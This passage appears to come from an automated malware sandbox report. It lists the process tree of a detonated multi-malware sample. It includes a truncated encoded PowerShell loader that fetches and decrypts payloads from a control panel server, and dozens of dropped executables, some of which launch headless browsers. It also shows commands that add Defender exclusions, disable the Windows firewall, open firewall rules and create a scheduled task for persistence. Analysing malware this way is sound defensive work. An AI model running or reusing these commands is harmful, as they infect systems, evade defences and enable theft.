UAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGkAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAHQAbQBwACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADYAMAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAdABtAHAAIAAtAEUAQQAgAFMAdABvAHAAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAkAHAAYQBpAHIALgBNAGkAbgApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAATQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAdABtAHAAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACQAZABlAHMAdAAgAC0ARgBvAHIAYwBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAdABtAHAAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAkAEEAZwBlAG4AdABSAG8AbwB0ACAAKAAkAHAAYQBpAHIALgBOAGEAbQBlACAAKwAgACIALgB0AG0AcAAiACkAKQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAdQAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAQQBnAGUAbgB0AFIAbwBvAHQAIAAiAHAAYQBuAGUAbAAuAHUAcgBsACIACgAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAFQAZQB4AHQAKAAkAHAAdQAsACAAJABiAGEAcwBlACwAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlACkAKQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAQQBnAGUAbgB0AFIAbwBvAHQAIAAiAC4AcAByAGkAbQBhAHIAeQAtAGYAYQBpAGwALQBzAGkAbgBjAGUAIgApACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB9AAoACgBpAGYAIAAoAC0AbgBvAHQAIAAkAFIAbwBvAHQAIAAtAGEAbgBkACAAJABlAG4AdgA6AEgAUABfAEEARwBFAE4AVABfAFIATwBPAFQAKQAgAHsAIAAkAFIAbwBvAHQAIAA9ACAAJABlAG4AdgA6AEgAUABfAEEARwBFAE4AVABfAFIATwBPAFQAIAB9AAoAaQBmACAAKAAtAG4AbwB0ACAAJABFAG4AYwBGAGkAbABlACAALQBhAG4AZAAgACQAZQBuAHYAOgBIAFAAXwBFAE4AQwBfAEYASQBMAEUAKQAgAHsAIAAkAEUAbgBjAEYAaQBsAGUAIAA9ACAAJABlAG4AdgA6AEgAUABfAEUATgBDAF8ARgBJAEwARQAgAH0ACgAkAHIAbwBvAHQAIAA9ACAAUgBlAHMAbwBsAHYAZQAtAEEAZwBlAG4AdABSAG8AbwB0ACAAJABSAG8AbwB0AAoAJABTAGUAcgB2AGUAcgBVAHIAbAAgAD0AIABSAGUAcwBvAGwAdgBlAC0AUABhAG4AZQBsAFMAZQByAHYAZQByAFUAcgBsACAAJABTAGUAcgB2AGUAcgBVAHIAbAAgACQAcgBvAG8AdAAKACQAawBlAHkARABpAHIAIAA9ACAAaQBmACAAKAAkAEUAbgBjAEYAaQBsAGUAIAAtAGEAbgBkACAAKAAkAEUAbgBjAEYAaQBsAGUAIAAtAGwAaQBrAGUAIAAiACoAYgBvAG8AdAAuAGQAYQB0ACoAIgApACkAIAB7AAoAIAAgACAAIABpAGYAIAAoACQAUgBvAG8AdAAgAC0AYQBuAGQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFIAbwBvAHQAKQApACAAewAgACQAUgBvAG8AdAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhACAAIgBBAGQAbwBiAGUAIAB2ADEALgAwACIAIAB9AAoAfQAgAGUAbABzAGUAIAB7ACAAJAByAG8AbwB0ACAAfQAKAAoAJABzAGUAcwBzAGkAbwBuAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGsAZQB5AEQAaQByACAAIgBzAGUAcwBzAGkAbwBuAC4AawBlAHkAIgAKAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAcwBlAHMAcwBpAG8AbgBQAGEAdABoACkAKQAgAHsAIAB0AGgAcgBvAHcAIAAiAHMAZQBzAHMAaQBvAG4ALgBrAGUAeQAgAG4AbwB0ACAAZgBvAHUAbgBkACIAIAB9AAoAJABzAGUAYwByAGUAdAAgAD0AIABVAG4AcAByAG8AdABlAGMAdAAtAFMAZQBzAHMAaQBvAG4AUwBlAGMAcgBlAHQAIAAoAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABzAGUAcwBzAGkAbwBuAFAAYQB0AGgAKQApACAALQBMAG8AYwBhAGwATQBhAGMAaABpAG4AZQA6ACgAJABFAG4AYwBGAGkAbABlACAALQBsAGkAawBlACAAIgAqAGIAbwBvAHQALgBkAGEAdAAqACIAKQAKAAoAaQBmACAAKAAkAEUAbgBjAEYAaQBsAGUAKQAgAHsACgAgACAAIAAgACQAZQBuAGMAUABhAHQAaAAgAD0AIABpAGYAIAAoAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEkAcwBQAGEAdABoAFIAbwBvAHQAZQBkACgAJABFAG4AYwBGAGkAbABlACkAKQAgAHsAIAAkAEUAbgBjAEYAaQBsAGUAIAB9ACAAZQBsAHMAZQAgAHsAIABKAG8AaQBuAC0AUABhAHQAaAAgACQAawBlAHkARABpAHIAIAAkAEUAbgBjAEYAaQBsAGUAIAB9AAoAIAAgACAAIAAkAHAAbABhAGkAbgAgAD0AIABEAGUAYwByAHkAcAB0AC0AQQBlAHMAQgBsAG8AYgAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAGUAbgBjAFAAYQB0AGgAKQApACAAJABzAGUAYwByAGUAdAAKACAAIAAgACAAJABiAGwAbwBjAGsAIAA9ACAAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAbABhAGkAbgApAAoAIAAgACAAIAAmACAAJABiAGwAbwBjAGsACgAgACAAIAAgAGUAeABpAHQAIAAwAAoAfQAKAAoAIwAgAFIAZQBmAHIAZQBzAGgAIABsAG8AYQBkAGUAcgAvAGMAbwByAGUAIABmAHIAbwBtACAAcABhAG4AZQBsACAAcwBvACAAbwBsAGQAIABQAEMAcwAgAHAAaQBjAGsAIAB1AHAAIABmAGkAeABlAHMAIAB3AGkAdABoAG8AdQB0ACAAZgB1AGwAbAAgAHIAZQBpAG4AcwB0AGEAbABsAAoAdAByAHkAIAB7ACAAVQBwAGQAYQB0AGUALQBBAGcAZQBuAHQAUABhAHkAbABvAGEAZABzACAAJAByAG8AbwB0ACAAJABTAGUAcgB2AGUAcgBVAHIAbAAgACQAcwBlAGMAcgBlAHQAIAB9ACAAYwBhAHQAYwBoACAAewB9AAoACgAkAGwAbwBhAGQAZQByAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAHIAbwBvAHQAIAAiAGwAbwBhAGQAZQByAC4AZABhAHQAIgAKAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAbABvAGEAZABlAHIAUABhAHQAaAApACkAIAB7ACAAdABoAHIAbwB3ACAAIgBsAG8AYQBkAGUAcgAuAGQAYQB0ACAAbgBvAHQAIABmAG8AdQBuAGQAIgAgAH0ACgAkAGwAbwBhAGQAZQByAFAAbABhAGkAbgAgAD0AIABEAGUAYwByAHkAcAB0AC0AQQBlAHMAQgBsAG8AYgAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAGwAbwBhAGQAZQByAFAAYQB0AGgAKQApACAAJABzAGUAYwByAGUAdAAKACQAbABvAGEAZABlAHIAQgBsAG8AYwBrACAAPQAgAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAJABsAG8AYQBkAGUAcgBQAGwAYQBpAG4AKQAKACYAIAAkAGwAbwBhAGQAZQByAEIAbABvAGMAawAgAC0AUwBlAHIAdgBlAHIAVQByAGwAIAAkAFMAZQByAHYAZQByAFUAcgBsACAALQBSAG8AbwB0ACAAJAByAG8AbwB0AA=="
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6216
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\o2fq3esw\o2fq3esw.cmdline"
        6⤵
        
        PID:9304
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2210.tmp" "c:\Users\Admin\AppData\Local\Temp\o2fq3esw\CSC587BFBF076924EA7B09C83F1E37BFA52.TMP"
        7⤵
        
        PID:10528
- - C:\Windows\system32\a\a.exe
    a.exe
    3⤵
    PID:4496
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe
      4⤵
      PID:5352
    - - C:\Windows\system32\wermgr.exe
        
        "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5352" "2252" "2208" "2248" "0" "0" "2256" "0" "0" "0" "0" "0"
        5⤵
        
        PID:8332
- - C:\Windows\system32\a\a.exe
    a.exe
    3⤵
    PID:1352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe
      4⤵
      PID:2168
    - - C:\Windows\system32\wermgr.exe
        
        "C:\Windows\system32\wermgr.exe" "-outproc" "0" "2168" "2252" "2208" "2248" "0" "0" "2256" "0" "0" "0" "0" "0"
        5⤵
        
        PID:9080
- - C:\Windows\system32\a\file_851477f5539ff9f4.exe
    file_851477f5539ff9f4.exe
    3⤵
    PID:2936
- - C:\Windows\system32\a\test.exe
    test.exe
    3⤵
    PID:1140
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
      4⤵
      PID:1668
- - C:\Windows\system32\a\sma.exe
    sma.exe
    3⤵
    PID:4044
- - C:\Windows\system32\a\support.client.exe
    support.client.exe
    3⤵
    PID:1176
- - C:\Windows\system32\a\bin.exe
    bin.exe
    3⤵
    PID:4604
- - C:\Windows\system32\a\update.exe
    update.exe
    3⤵
    PID:1212
- - C:\Windows\system32\a\file_8a7c2cae7ca4b114.exe
    file_8a7c2cae7ca4b114.exe
    3⤵
    PID:4584
- - C:\Windows\system32\a\payl.exe
    payl.exe
    3⤵
    PID:1680
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
      4⤵
      PID:2672
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      PID:4420
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      PID:8504
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      PID:9672
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      PID:3440
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      PID:6248
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      PID:10560
- - C:\Windows\system32\a\dcVylmIq.exe
    dcVylmIq.exe
    3⤵
    PID:3784
- - C:\Windows\system32\a\velogs.exe
    velogs.exe
    3⤵
    PID:1116
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\er50jzmv.yr2"
      4⤵
      PID:848
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\er50jzmv.yr2 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\er50jzmv.yr2\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\er50jzmv.yr2 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ffafd65c728,0x7ffafd65c734,0x7ffafd65c740
        5⤵
        
        PID:6552
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\e0m3uy0n.04n"
      4⤵
      PID:9896
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\e0m3uy0n.04n
        5⤵
        
        PID:4640
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1956 -prefsLen 27097 -prefMapHandle 1960 -prefMapSize 270279 -ipcHandle 2040 -initialChannelId {376bf712-50e5-40b2-ab96-87fd7059c493} -parentPid 4640 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4640" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        6⤵
        
        PID:4828
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2408 -prefsLen 27133 -prefMapHandle 2412 -prefMapSize 270279 -ipcHandle 2420 -initialChannelId {ecf0075a-90ee-4020-8151-fbeace8f68fd} -parentPid 4640 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4640" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        6⤵
        
        PID:10572
      - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\c524a2ee-56cb-413c-b23e-d56a385e250b.dmp"
        6⤵
        
        PID:11420
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2612 -prefsLen 27133 -prefMapHandle 2260 -prefMapSize 270279 -ipcHandle 3520 -initialChannelId {f5438cb5-8a86-401c-8361-9738ea6ba21b} -parentPid 4640 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4640" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        6⤵
        
        PID:11604
      - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\d4207f40-9be8-4299-8c69-f5ffd19fcf92.dmp"
        6⤵
        
        PID:10040
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3564 -prefsLen 27133 -prefMapHandle 3484 -prefMapSize 270279 -ipcHandle 3840 -initialChannelId {b80387fa-aa94-441f-87bd-8ecca369ef6a} -parentPid 4640 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4640" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        6⤵
        
        PID:12492
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2772 -prefsLen 27323 -prefMapHandle 3844 -prefMapSize 270279 -jsInitHandle 3832 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1952 -initialChannelId {6aaff5bd-0ba0-4d61-87f2-707784b9be9b} -parentPid 4640 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4640" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        6⤵
        
        PID:11592
      - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\1a32633f-656c-492d-94ed-1c9e5d9e0563.dmp"
        6⤵
        
        PID:7932
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2928 -prefsLen 27323 -prefMapHandle 1632 -prefMapSize 270279 -ipcHandle 3024 -initialChannelId {6302db6b-ef90-4a14-8cd5-f9550dd07210} -parentPid 4640 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4640" -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 gpu
        6⤵
        
        PID:12556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\jyid5y5b.wqh"
      4⤵
      PID:11532
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\jyid5y5b.wqh /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\jyid5y5b.wqh\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x230,0x234,0x238,0x22c,0x2e4,0x7ffaf002c188,0x7ffaf002c194,0x7ffaf002c1a0
        5⤵
        
        PID:13112
- - C:\Windows\system32\a\CW.exe
    CW.exe
    3⤵
    PID:3312
- - C:\Windows\system32\a\file_77b5757ae75eb20b.exe
    file_77b5757ae75eb20b.exe
    3⤵
    PID:4832
- - C:\Windows\system32\a\file_f309f8496f916deb.exe
    file_f309f8496f916deb.exe
    3⤵
    PID:5136
- - C:\Windows\system32\a\quis.exe
    quis.exe
    3⤵
    PID:5152
- - C:\Windows\system32\a\ScreenConnect.ClientSetup.exe
    ScreenConnect.ClientSetup.exe
    3⤵
    PID:5160
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5160 -s 956
      4⤵
      Program crash
      PID:5948
- - C:\Windows\system32\a\Client-built.exe
    Client-built.exe
    3⤵
    PID:5204
- - C:\Windows\system32\a\3.exe
    3.exe
    3⤵
    PID:5656
- - C:\Windows\system32\a\123.exe
    123.exe
    3⤵
    PID:5676
- - C:\Windows\system32\a\bot.exe
    bot.exe
    3⤵
    PID:5700
- - C:\Windows\system32\a\6eq5gvOfRvNmCi54.exe
    6eq5gvOfRvNmCi54.exe
    3⤵
    PID:5736
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\AppRepository\B2A4528A\MusNotificationce794c.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppRepository\B2A4528A\MusNotificationce794c.exe"
      4⤵
      PID:7008
- - C:\Windows\system32\a\5fzscnissh1s.exe
    5fzscnissh1s.exe
    3⤵
    PID:5764
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --log-level=3 --headless=new
      4⤵
      PID:8056
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8056240715234 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8056240715234\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8056240715234 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffafd65c728,0x7ffafd65c734,0x7ffafd65c740
        5⤵
        
        PID:2896
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8056240715234" --force-high-res-timeticks=disabled --field-trial-handle=1912,i,9890409748108523370,1706327668528099826,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=1088 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:8940
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8056240715234" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1912,i,9890409748108523370,1706327668528099826,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=1908 /prefetch:2
        5⤵
        
        PID:8952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --log-level=3 --headless=new
      4⤵
      PID:6268
- - C:\Windows\system32\a\payd.exe
    payd.exe
    3⤵
    PID:5812
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-startup-window --headless
      4⤵
      PID:5144
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --headless
      4⤵
      PID:7628
- - C:\Windows\system32\a\877901a58750.exe
    877901a58750.exe
    3⤵
    PID:5824
- - C:\Windows\system32\a\file_e8219df7a9a21088.exe
    file_e8219df7a9a21088.exe
    3⤵
    PID:5936
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      PID:9112
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      PID:9048
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
      4⤵
      PID:1212
- - C:\Windows\system32\a\Chrome01.exe
    Chrome01.exe
    3⤵
    PID:5976
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe goodpersonforbestthingsfor.hta
    3⤵
    PID:6004
- - C:\Windows\system32\a\7.exe
    7.exe
    3⤵
    PID:6124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File file_7abbb1cadc4625ad.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5772
- - C:\Windows\system32\a\Godabeg1.exe
    Godabeg1.exe
    3⤵
    PID:5884
- - C:\Windows\system32\a\file_3dfa6b71eb1f52a6.exe
    file_3dfa6b71eb1f52a6.exe
    3⤵
    PID:5536
- - C:\Windows\system32\a\8.exe
    8.exe
    3⤵
    PID:1216
- - C:\Windows\system32\a\klr.exe
    klr.exe
    3⤵
    PID:5932
- - C:\Windows\system32\a\file_ac12f1da1bdab1e0.exe
    file_ac12f1da1bdab1e0.exe
    3⤵
    PID:3160
- - C:\Windows\system32\a\file_d16ae09e5eae4115.exe
    file_d16ae09e5eae4115.exe
    3⤵
    PID:5664
- - C:\Windows\system32\a\Phantomx.exe
    Phantomx.exe
    3⤵
    PID:5952
- - C:\Windows\system32\a\s.exe
    s.exe
    3⤵
    PID:6172
- - C:\Windows\system32\a\SshCracker.exe
    SshCracker.exe
    3⤵
    PID:6204
- - C:\Windows\system32\a\client.exe
    client.exe
    3⤵
    PID:6244
- - C:\Windows\system32\a\msedge.exe
    msedge.exe
    3⤵
    PID:6292
  - - C:\Windows\SysWOW64\regedit.exe
      "regedit.exe" "C:\Users\Admin\AppData\Local\Temp\HJWRLY.reg"
      4⤵
      Runs .reg file with regedit
      PID:7088
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn RSUICD.exe /tr C:\Users\Admin\AppData\Roaming\Windata\Microsoft Edge.exe /sc minute /mo 1
      4⤵
      Executes a command shell one-liner
      PID:7652
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn RSUICD.exe /tr C:\Users\Admin\AppData\Roaming\Windata\Microsoft Edge.exe /sc minute /mo 1
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6548
  - - C:\Windows\SysWOW64\WSCript.exe
      WSCript C:\Users\Admin\AppData\Local\Temp\RSUICD.vbs
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:7784
- - C:\Windows\system32\a\file_a8b257b458693ac9.exe
    file_a8b257b458693ac9.exe
    3⤵
    PID:6316
  - - C:\Windows\System32\notepad.exe
      "C:\Windows\System32\notepad.exe"
      4⤵
      PID:1220
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Zoom.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:6380
- - C:\Windows\system32\a\client.exe
    client.exe
    3⤵
    PID:6416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\system32\a' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7068
  - - C:\Windows\SYSTEM32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:5724
  - - C:\Windows\SYSTEM32\netsh.exe
      netsh advfirewall firewall add rule name="svchost" dir=in action=allow program="C:\Windows\system32\a\client.exe" enable=yes
